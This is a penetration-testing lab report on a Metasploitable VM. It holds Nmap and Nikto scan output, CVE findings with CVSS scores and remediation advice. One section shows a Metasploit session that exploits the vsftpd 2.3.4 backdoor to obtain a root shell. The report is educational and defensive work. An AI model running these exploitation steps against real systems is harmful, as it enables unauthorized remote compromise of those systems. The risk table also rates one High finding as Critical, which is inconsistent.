SECURITY ASSESSMENT AND VAPT PRACTICAL REPORT
(Using Open-Source Tools)

Scope of Assessment

This security assessment was conducted in a controlled laboratory environment for educational and research purposes.
The testing environment included:

- Kali Linux (Attacker Machine)
- Metasploitable Vulnerable Virtual Machine
- Internal Virtual Network (192.168.175.128 range) configured using VirtualBox

The scope of this assessment was limited to identifying vulnerabilities within the designated lab environment only.
No production systems, live networks, or real-world organizational assets were tested during this assessment.
All activities were performed in compliance with ethical hacking guidelines and within an isolated virtual environment.

1. Executive Summary

This project demonstrates a complete Security Assessment and Vulnerability Assessment & Penetration Testing (VAPT) process using open-source tools in a controlled lab environment.
The objective was to evaluate systems without using paid tools, identify vulnerabilities, assess risks using CVSS scoring, and prepare a professional security report.
The assessment identified:

- One Critical vulnerability (Remote Code Execution)
- One High vulnerability (Denial of Service)
- Two Medium vulnerabilities (Information Disclosure)

Immediate remediation is required for the critical finding to prevent system compromise.

2. Understanding Security Assessment

2.1 Objective
To understand how to evaluate system security using frameworks and open-source tools without relying on commercial security platforms.
2.2 Security Assessment Overview
Security Assessment is the process of identifying weaknesses in systems using structured frameworks such as those provided by the
National Institute of Standards and Technology (NIST).
The goal is to detect vulnerabilities before attackers exploit them.

2.3 Types of Security Testing
2.3.1 Vulnerability Assessment
Vulnerability Assessment involves automated scanning to detect known weaknesses.

Tool Used:

- OpenVAS (Open-source vulnerability scanner)
- Nikto (Web server scanner)

This step identifies CVEs, misconfigurations, and outdated software.

2.3.2 Penetration Testing

Penetration testing simulates real-world attacks to validate whether vulnerabilities can be exploited.

Tools Used:

- Nmap (Network scanning)
- Metasploit Framework (Exploitation testing)
- Kali Linux toolkit

2.3.3 Compliance Testing

Compliance testing validates systems against security standards and regulatory requirements.

Standards Referenced:

- ISO 27001
- GDPR
- HIPAA
- CIS Benchmarks

3. VAPT Methodology

A structured VAPT methodology was followed.

3.1 Planning Phase

- Defined scope of testing
- Identified target system (Metasploitable VM)
- Selected appropriate tools
- Ensured testing was conducted in lab environment

3.2 Discovery Phase

Performed reconnaissance and vulnerability identification.

Tools Used:

- Nmap for port scanning
- Nikto for web server scanning
- OpenVAS for vulnerability scanning

Findings included:

- Open FTP service
- Apache web server
- Multiple exposed ports

- Outdated software versions

```
root@kali: /home/kali
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp   open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind      2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      47146/udp   mountd
|   100005  1,2,3      48662/tcp   mountd
|   100021  1,3,4      33201/udp   nlockmgr
|   100021  1,3,4      52533/tcp   nlockmgr
|   100024  1          46892/udp   status
|_  100024  1          58464/tcp   status
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp  open  exec         netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  shell?
1099/tcp open  java-rmi     GNU Classpath grmiregistry
1524/tcp open  bindshell    Metasploitable root shell
2049/tcp open  nfs          2-4 (RPC #100003)
2121/tcp open  ccproxy-ftp?
3306/tcp open  mysql?
5432/tcp open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2026-02-24T17:58:03+00:00; -6s from scanner time.
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
```

```
root@kali: /home/kali
┌──(root㉿kali)-[/home/kali]
└─# nmap -sV -A 192.168.175.128
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-24 12:53 -0500
Nmap scan report for 192.168.175.128
Host is up (0.0011s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          vsftpd 2.3.4
|_ftp-bounce: bounce working!
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.175.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet       Linux telnetd
25/tcp   open  smtp         Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp   open  domain       ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp   open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
```

```
root@kali: /home/kali
|   Security types:
|_    VNC Authentication (2)
6000/tcp open  X11          (access denied)
6667/tcp open  irc          UnrealIRCd
8009/tcp open  ajp13?
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http         Apache Tomcat/Coyote JSP engine 1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: WAP
Running: Actiontec embedded, Linux
OS CPE: cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel
OS details: Actiontec MI424WR-GEN3I WAP
Network Distance: 2 hops
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2026-02-24T12:56:01-05:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h39m54s, deviation: 2h53m13s, median: -6s

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.20 ms 192.168.206.2
2   0.26 ms 192.168.175.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 307.76 seconds

┌──(root㉿kali)-[/home/kali]
```

```
root@kali: /home/kali

┌──(root㉿kali)-[/home/kali]
└─# nikto -h http://192.168.175.128
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.175.128
+ Target Hostname:    192.168.175.128
+ Target Port:        80
+ Start Time:         2026-02-24 14:06:34 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ /: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozi
lla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render
the content of the site in a different fashion to the MIME type. See: https://www.netsparker.
com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is t
he EOL for the 2.x branch.
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily
 brute force file names. The following alternatives for 'index' were found: index.php. See: h
ttp://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabi
lities/8275
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positiv
es.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://o
wasp.org/www-community/attacks/Cross_Site_Tracing
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cg
i-bin/cvename.cgi?name=CVE-1999-0678
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information v
ia certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information v
ia certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
```

```
root@kali: /home/kali

+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information v
ia certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information v
ia certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information v
ia certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protec
ted or limited to authorized hosts.
+ /phpMyAdmin/ChangeLog: Server may leak inodes via ETags, header found with file /phpMyAdmin
/ChangeLog, inode: 92462, size: 40540, mtime: Tue Dec  9 12:24:00 2008. See: http://cve.mitre
.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected
or limited to authorized hosts.
+ /test/: Directory indexing found.
+ /test/: This might be interesting.
+ /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This give
s a lot of system information. See: CWE-552
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-
access-to-iconsreadme/
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /phpMyAdmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be p
rotected or limited to authorized hosts.
+ /phpMyAdmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or
limited to authorized hosts. See: https://typo3.org/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8910 requests: 0 error(s) and 27 item(s) reported on remote host
+ End Time:           2026-02-24 14:07:27 (GMT-5) (53 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(root㉿kali)-[/home/kali]
└─#
```

3.3 Attack Phase

The exploitation phase validated vulnerabilities.

VSFTPD 2.3.4 backdoor vulnerability was successfully exploited using Metasploit.

Result:

Remote command execution was achieved.

```
root@kali: /home/kali

                Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

                    Press SPACE BAR to continue


       =[ metasploit v6.4.112-dev                         ]
+ -- --=[ 2,607 exploits - 1,323 auxiliary - 1,710 payloads     ]
+ -- --=[ 430 post - 49 encoders - 14 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf >
```

```
root@kali: /home/kali

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor

[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.175.128
RHOSTS => 192.168.175.128
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.175.128:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.175.128:21 - USER: 331 Please specify the password.
[+] 192.168.175.128:21 - Backdoor service has been spawned, handling...
[+] 192.168.175.128:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.206.138:42817 -> 192.168.175.128:6200) at 2026-02-24 13:55:11 -0500
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > whoami
[*] exec: whoami

root
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

3.4 Reporting Phase

All vulnerabilities were documented with:

- CVE ID
- CVSS score
- Impact analysis
- Risk level
- Remediation recommendations

4. Security Standards & Compliance

Security testing aligned with:

- ISO 27001 information security controls
- OWASP Top 10 web application risks
- GDPR data protection principles

The OWASP Top 10 was used to understand common web vulnerabilities such as:

- SQL Injection
- Cross-Site Scripting (XSS)
- Security Misconfiguration

5. Risk Assessment Basics

5.1 CVSS Scoring

CVSS scores were referenced using the National Vulnerability Database (NVD) CVSS calculator.

CVSS evaluates:

- Attack Vector
- Attack Complexity
- Privileges Required
- Impact on Confidentiality
- Impact on Integrity
- Impact on Availability

5.2 Risk Matrix
A 3x3 Risk Matrix (Impact vs Likelihood) was created in Excel.
Risk Categories:

- Low
- Medium
- High
- Critical

Likelihood ↓ / Impact →	Low Likelihood	Medium Likelihood	High Likelihood
Low Impact	Low	Low	Medium
Medium Impact	Low	Medium	High
High Impact	Medium	High	Critical

6. Identified Vulnerabilities

6.1 CVE-2011-2523 – VSFTPD 2.3.4 Backdoor
Severity: Critical
CVSS Score: 9.8
Impact:

- Remote Code Execution
- Full system compromise
- Complete loss of confidentiality, integrity, and availability

Likelihood:
High (Network accessible, no authentication required)
Risk Level:
Critical
Recommendation:
Immediately remove or upgrade VSFTPD service.

6.2 CVE-2011-3192 – Apache Range Header DoS
Severity: High
CVSS Score: 7.8
Impact:

- Denial of Service
- Website downtime

Risk Level:
High
Recommendation:
Upgrade Apache and implement rate limiting.

6.3 CVE-1999-0678 – Directory Disclosure

Severity: Medium
CVSS Score: 5.0
Impact:

- Information disclosure
- Assists reconnaissance

Risk Level:
Medium
Recommendation:
Disable directory listing.

6.4 CVE-2003-1418 – ETag Information Disclosure
Severity: Medium
CVSS Score: 4.3
Impact:

- Disclosure of system identifiers

Risk Level:
Medium
Recommendation:
Disable ETag headers in Apache configuration.

Vulnerability	Impact	Likelihood	Final Risk
CVE-2011-3192	High	High	Critical
CVE-1999-0678	Medium	Medium	Medium
CVE-2003-1418	Medium	Medium	Medium
CVE-2011-2523	High	High	Critical

7. Practical Application

7.1 Lab Setup

- Installed Kali Linux
- Installed VirtualBox
- Deployed Metasploitable VM

7.2 Vulnerability Scanning
OpenVAS command used:
sudo openvas-start
Nikto command used:
nikto -h http:// 192.168.175.128
Nmap command used:
nmap -sV -A 192.168.175.128

7.3 Documentation of Findings

All findings were recorded in Excel including:

- Target IP address
- Open ports
- Running services
- CVE IDs
- CVSS scores
- Risk levels

Screenshots were collected as proof of assessment.

8. Remediation Plan

Immediate Actions:

- Remove VSFTPD 2.3.4
- Patch Apache vulnerabilities

Short-Term Actions:

- Disable unnecessary services
- Harden server configurations

Long-Term Actions:

- Regular vulnerability scanning
- Patch management process
- Continuous monitoring

9. Conclusion

This project successfully demonstrated a complete Security Assessment and VAPT lifecycle using open-source tools.

The assessment identified multiple vulnerabilities including one critical remote code execution vulnerability.

The project enhanced understanding of:

- Security assessment methodologies
- Vulnerability scanning
- Exploitation techniques
- Risk assessment using CVSS
- Professional report documentation

Regular security testing and patch management are essential to maintain a secure environment.